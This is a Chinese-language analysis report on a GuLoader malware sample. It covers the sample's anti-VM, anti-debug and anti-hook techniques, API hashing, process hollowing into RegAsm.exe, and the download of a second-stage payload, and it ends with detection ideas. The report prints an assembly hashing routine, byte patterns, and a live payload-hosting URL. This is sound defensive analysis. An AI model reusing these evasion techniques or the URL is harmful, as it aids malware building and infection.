GuLoader分析报告
GuLoader分析報(bào)告
文章目錄
- GuLoader分析報(bào)告
- 基本信息
- 樣本基本信息
- 主要執(zhí)行流程
- 關(guān)鍵技術(shù)概覽
- 反虛擬機(jī)
- 1.內(nèi)存遍歷檢測字符串
- 2.qemu-ga.exe
- 3.窗口數(shù)量檢測
- 反逆向分析
- 1.花指令
- 2.反調(diào)試
- DLL函數(shù)加載
- 反HOOK
- 1.檢測一
- 2.檢測二
- 3.檢測三
- 4,檢測四
- 傀儡進(jìn)程
- 加密特征
- 詳細(xì)分析
- 加載器部分
- 傀儡進(jìn)程部分
- 行為檢測
- 修復(fù)HOOK&HOOK檢測
- 概述
- 可行性
- 窗口數(shù)檢測
- 概述
- 可行性
- 傀儡進(jìn)程檢測
- 概述
- 可行性
- qemu-ga.exe檢測
- 概述
- 可行性
- 反調(diào)試檢測
- ZwSetInformationThread
- 概述
- 可行性
- patch DebugBreakPoint&DbgUiRemoteBreakin
- 概述
- 可行性
- 時(shí)間差檢測
- 概述
- 可行性
- 硬件斷點(diǎn)檢測
- 概述
- 可行性
- API檢測
- 概述
- 可行性
基本信息
樣本基本信息
| 樣本名稱 | b89d53ad687ce9c4a808fdab9190a497.exe |
| 樣本類型 | exe |
| 惡意類型 | 加載器 |
| 樣本MD5 | b89d53ad687ce9c4a808fdab9190a497 |
| 樣本SHA | 30e2ae0a9d77e37e1dc03fe8d9769672184e1ff5 |
主要執(zhí)行流程
樣本分配出一段空間,解密shellcode后經(jīng)過一系列調(diào)試檢測,虛擬機(jī)檢測,HOOK檢測之后。啟動傀儡進(jìn)程RegAsm.exe,傀儡進(jìn)程其實(shí)為其本身,不過執(zhí)行路徑不同,同樣經(jīng)過一系列檢測后進(jìn)行文件下載…
后面的話主要就是下載數(shù)據(jù),異或解密后運(yùn)行竊密木馬(這個(gè)網(wǎng)站掛了沒分析出)
關(guān)鍵技術(shù)概覽
反虛擬機(jī)
1.內(nèi)存遍歷檢測字符串
遍歷內(nèi)存,將內(nèi)存中的字符串進(jìn)行加密后與特定數(shù)據(jù)進(jìn)行比較,0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D
其中檢測到VmtoolsdControlWndClass字符串,彈窗程序不能在虛擬機(jī)中運(yùn)行
2.qemu-ga.exe
調(diào)用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)
返回error path not found 否則退出程序
3.窗口數(shù)量檢測
EnumWindows檢測窗口數(shù)量與12進(jìn)行比較
反逆向分析
1.花指令
程序中加了大量花指令,干擾IDA的逆向分析,且其中的花指令還會參與到異或運(yùn)算之中,不方便進(jìn)行補(bǔ)丁去除。
2.反調(diào)試
- 將DebugBreakPoint函數(shù)patch為0x90
- 將DbgUiRemoteBreakin前幾個(gè)字節(jié)給Patch了,變成了exit(0)函數(shù)
- rdstc時(shí)間差檢測,反調(diào)試
- 調(diào)用了ZwSetInformationThread(-2,0x11,0,0),將自身從調(diào)試器中分離出來
- 調(diào)用CreateProcessInternalW等函數(shù)之前會檢測第一個(gè)字節(jié)是否為0xcc斷點(diǎn)
- ZwGetContextThread(-2,)獲取線程上下文,判斷Dr0,DR1,DR2,DR3,DR6,DR7的值
- 傀儡進(jìn)程寫入前,會將程序前半部分自身不斷異或,如果程序有0xcc斷點(diǎn)或者patch,會造成后續(xù)傀儡進(jìn)程的異常
DLL函數(shù)加載
程序沒有直接調(diào)用DLL函數(shù),而是解析DLL格式,根據(jù)函數(shù)名稱加密的值,來確定調(diào)用的函數(shù)地址。
反HOOK
檢測ntdll.dll之中的函數(shù)是否被HOOK
1.檢測一
檢測如下特征二進(jìn)制碼
B8 00 00 00 00 mov eax,0 BA * * * * * mov edx,****//這里感覺有點(diǎn)問題 50 push eax c3 ret 90 nop 90 nop將會被修復(fù)
2.檢測二
B8 **** E0 FF
B8 **** mov eax ****E0 FF jmp eax將其patch為 mov eax ,5 mov edx,xxxxx3.檢測三
檢測點(diǎn)為50 c3 90 90
push eax retn4,檢測四
檢測點(diǎn)E8 00 00 00 00****** C2 14 ***** C2 14
call $0 ..... retn 0x14 ..... retn 0x14傀儡進(jìn)程
啟動了RegAsm.exe作為傀儡進(jìn)程
加密特征
__asm {mov edx,0x1505 label1:mov ebx,dexshl edx,5add edx,ebxmovzx ebx,byte ptr ds:[esi];//esi為函數(shù)名稱地址add edx,ebxadd esi,0x1cmp word ptr ds:[esi],0jnz label1 };如果dll加密,奇數(shù)位參與相加運(yùn)算,add esi,0x2詳細(xì)分析
加載器部分
程序首先分配一段內(nèi)存,四個(gè)字節(jié)為一組0x929254c4異或密鑰shellcode之后利用push,pop對新分配內(nèi)存進(jìn)行填值
利用PE結(jié)構(gòu)獲取dll函數(shù)地址,調(diào)用ZwQueryVirtualMemoey(-1,0x10000,0,0x12F700,0X1c,0)<0xe7639e>
遍歷內(nèi)存直到出現(xiàn)數(shù)值不為0,后面進(jìn)行E76009加密,將加密后的數(shù)據(jù)與特定數(shù)據(jù)進(jìn)行比較0x2d9cc76c,0xdfcb8f12,0x27AA3188,0xF21FD920,0X3E17ADE6,0x7F21185B,0XA7C53F01,0XB314751D,在0x612B68檢測到字符串vmtoolsdControlWndClass
調(diào)用了EnumWindows檢測窗口數(shù)量與12進(jìn)行比較大于等于則跳轉(zhuǎn)
調(diào)用了ZwProtectVirtualMemory(-1,0x12f80c,12f810,0x40,0x12f814);
12f80c→7c921000
12f810→7a000
12f814→0
將Ntdll內(nèi)存修改為可讀可寫可執(zhí)行
將DebugBreakPoint函數(shù)修改為0x90 nop
將DbgUiRemoteBreakin前幾個(gè)字節(jié)給Patch了,變成了exit(0)函數(shù)
如果內(nèi)存中存在如下組合
B8 00 00 00 00 mov eax,0
BA * * * * * mov edx,****
50 push eax
c3 ret
90 nop
90 nop
將會啟動patch
檢測數(shù)據(jù) B8 **** E0FF,mov eax,jmp eax,將其patch為mov eax ,5 mov edx,xxxxx
檢測數(shù)據(jù)E8 00 00 00 00,會將前面5個(gè)數(shù)據(jù)給patch
調(diào)用了ZwSetInformationThread(-2,0x11,0,0)進(jìn)行反調(diào)試
調(diào)用了CreateFileA(“C:\Program Files\Qemu-ga\qemu-ga.exe”,0,1,0,3,0,0)
返回error path not found 否則退出程序
時(shí)間差檢測反調(diào)試
ZwGetContextThread(-2)獲取線程上下文信息,并且比較DR0,DR1,DR2,DR3,DR6,DR7,判斷是否存在調(diào)試行為
檢測CreateProcessInternalW等函數(shù)第一個(gè)字節(jié)是否為,0xcc(檢測函數(shù)斷點(diǎn))或者是否為0x0f0b,0xcd03(這兩個(gè)不知道檢測啥可能是hook)
調(diào)用了CreateProcessInternalW(0, “C:\WINDOWS[Microsoft.NET](http://microsoft.net/)\Framework\v2.0.50727\RegAsm.exe”,“C:\Documents and Settings\Administrator\桌面\GuLoad”,0xE80000,0XE80000,0,4,0,0,0XE80400,0XE80800,0)
0XE8000→0XC
0XE80400→0X44
后續(xù)調(diào)用了OpenFile,ZwCreateSection,ZwMapViewOfSection
ZwWriteVirtualMemory(0x9c,0x90000,0xe70000,0x9000,0x12f928)
ZwGetContextThread,ZwSetContextThread,ZwResumeThread,ZwWaitForSingleObject,ZwTerminateProcess且在每次調(diào)用之前都會判斷硬件斷點(diǎn),并且在調(diào)用的過程中異或了代碼段,其中ZwWriteVirtualMemory函數(shù)的就是不斷異或后的代碼段,其實(shí)是本身,如果下斷點(diǎn)的話會有問題。
傀儡進(jìn)程部分
InternetSetOptionA(0xcc0004,0x2,0x19fbd8,4)
InternetOpenUrlA(0xcc0004,"http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin“)
InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)
InternetCloseHandle
再次InternetOpenA(“Mozilla/5.0 (Windows NT 6.1; WOWTrident/7.0; rv:11.0)”,0,0,0,0)
InternetOpenUrlA(0xcc0004,“http://hosseinsoltani.ir/wp-includes/IXR/gozman_FuZUeePhB40.bin”)
InternetReadFile(0,0x1fe0000,0x10000,0x19fbc)
InternetCloseHandle
因?yàn)榫W(wǎng)站掛了,開始無限循環(huán)…
行為檢測
修復(fù)HOOK&HOOK檢測
概述
修復(fù)HOOK之前調(diào)用了ZwProtectVirtualMemory,修改動態(tài)鏈接庫內(nèi)存凌空為可讀可寫可執(zhí)行,可以先一步HOOK ProtectVirtualMemory相關(guān)函數(shù).用來判斷相關(guān)行為
可行性
檢測其參數(shù),如果為dll領(lǐng)空,則說明存在反HOOK行為。
針對HOOK可以采用一些不同的inline hook方式進(jìn)行干擾檢測
窗口數(shù)檢測
概述
可以嘗試HOOK EnumWindows函數(shù),可能存在窗口數(shù)行為。
可行性
不過一般的程序也可能會有此行為,所以可能進(jìn)行誤判
傀儡進(jìn)程檢測
概述
檢測 CreateProcessInternW,ZwSetContextThread,ZwResumeThread,相關(guān)函數(shù)參數(shù)來判斷是否存在傀儡進(jìn)程。
可行性
Hook CreateProcessInternW函數(shù),獲取啟動進(jìn)程名稱
Hook ZwSetContextThread和ZwResumeThread函數(shù)參數(shù)可以確定句柄。
qemu-ga.exe檢測
概述
檢測字符串為C:\Program Files\Qemu-ga\qemu-ga.exe,說明存在虛擬機(jī)檢測。
可行性
可以通過HookCreateFileA文件操作相關(guān)函數(shù),查看其參數(shù)確定行為
反調(diào)試檢測
ZwSetInformationThread
概述
HOOK API ZwSetInformationThread 判斷其行為
可行性
判斷第二個(gè)參數(shù)為0x11說明存在反調(diào)試行為
patch DebugBreakPoint&DbgUiRemoteBreakin
概述
判斷函數(shù)內(nèi)存前幾個(gè)字節(jié)是否被patch
可行性
根據(jù)PEB獲取kernel32.dll基址,獲取GetProcAddress地址后找到LoadLibrary地址,再利用LoadLibary函數(shù)獲取ntdll地址,最后利用GetPorcAddress獲取DebugBreakPoint,DbgUiRemoteBreakin地址,查詢前幾個(gè)字節(jié)是否有變動。如果改變則可能存在反調(diào)試行為。
時(shí)間差檢測
概述
檢測機(jī)器碼0f31用來判斷rdstc時(shí)間差檢測反調(diào)試。
可行性
由于機(jī)器碼長度過短,且程序在運(yùn)行過程中不斷異或加解密自身,可能會存在誤報(bào)現(xiàn)象。
硬件斷點(diǎn)檢測
概述
通過Hook ZwGetContextThread來確定其可疑行為
可行性
不過普通程序也會調(diào)用該API,且獲取線程上下文不一定是判斷硬件斷點(diǎn)所用,所以可能會誤判
API檢測
概述
通過檢測導(dǎo)入表來判斷API
可行性
程序解析DLL格式,遍歷函數(shù)名稱,通過函數(shù)名稱生成哈希比較,來確定獲取的DLL的名稱及其地址,不太好檢測導(dǎo)入DLL或者字符串來判斷導(dǎo)入函數(shù)確定行為
總結(jié)
以上是生活随笔為你收集整理的GuLoader分析报告的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 密码收纳盒 v1.1 正式版
- 下一篇: 武汉理工转专业计算机笔试,计算机学院武汉